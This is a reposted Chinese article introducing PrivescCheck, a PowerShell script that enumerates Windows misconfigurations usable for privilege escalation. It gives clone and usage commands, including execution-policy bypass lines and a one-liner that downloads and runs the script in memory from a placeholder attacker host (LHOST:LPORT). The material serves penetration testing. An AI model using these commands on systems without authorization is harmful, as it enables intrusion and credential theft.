privesccheckprivesccheck是一款专为windows系统设计的提权枚举脚本。该脚本能够识别目标windows系统中常见的错误安全配置，这些配置错误可能允许攻击者进行信息收集和权限提升，对漏洞利用和后渗透攻击极为有用。
该工具基于PowerUp工具开发，并增添了更多的检测机制，以减少误报。
目前，该项目仍在开发中，计划添加更多检测功能，但已经接近完成。
我个人非常喜欢PowerUp，因为它能快速枚举出目标设备中的常见漏洞，且无需依赖第三方工具。然而，PowerUp多年未更新，且有时会产生误报。
因此，在PrivescCheck脚本中，我们考虑了以下几个方面：
工具下载研究人员可以使用以下命令将项目源码克隆到本地：
git clone https://github.com/itm4n/PrivescCheck.git
工具使用可以在PowerShell命令行控制台中运行该脚本：
PS C:\Temp\> Set-ExecutionPolicy Bypass -Scope Process -Force PS C:\Temp\> . .\Invoke-PrivescCheck.ps1; Invoke-PrivescCheck
该工具在显示输出数据的同时，会将它们写入到一个日志文件中：
PS C:\Temp\> . .\Invoke-PrivescCheck.ps1; Invoke-PrivescCheck | Tee-Object "C:\Temp\result.txt"
也可以在CMD命令行工具中使用该脚本：
C:\Temp\>powershell -ep bypass -c ". .\Invoke-PrivescCheck.ps1; Invoke-PrivescCheck"
还可以从远程Web服务器导入并使用该脚本：
C:\Temp\>powershell "IEX (New-Object Net.WebClient).DownloadString('http://LHOST:LPORT/Invoke-PrivescCheck.ps1'); Invoke-PrivescCheck"功能介绍获取当前用户信息获取目标设备服务DLL劫持
Invoke-DllHijackingCheck - 检查是否有任何系统路径文件夹可修改
程序/进程获取获取凭据获取注册表信息获取网络信息其他杂项* 参考来源：itm4n，FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM
以上就是PrivescCheck：一款针对Windows系统的提权枚举脚本的详细内容，更多请关注php中文网其它相关文章！
每个人都需要一台速度更快、更稳定的 PC。随着时间的推移，垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是，许多工具可以让 Windows 保持平稳运行。
广告
收藏
收藏
收藏
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号
777
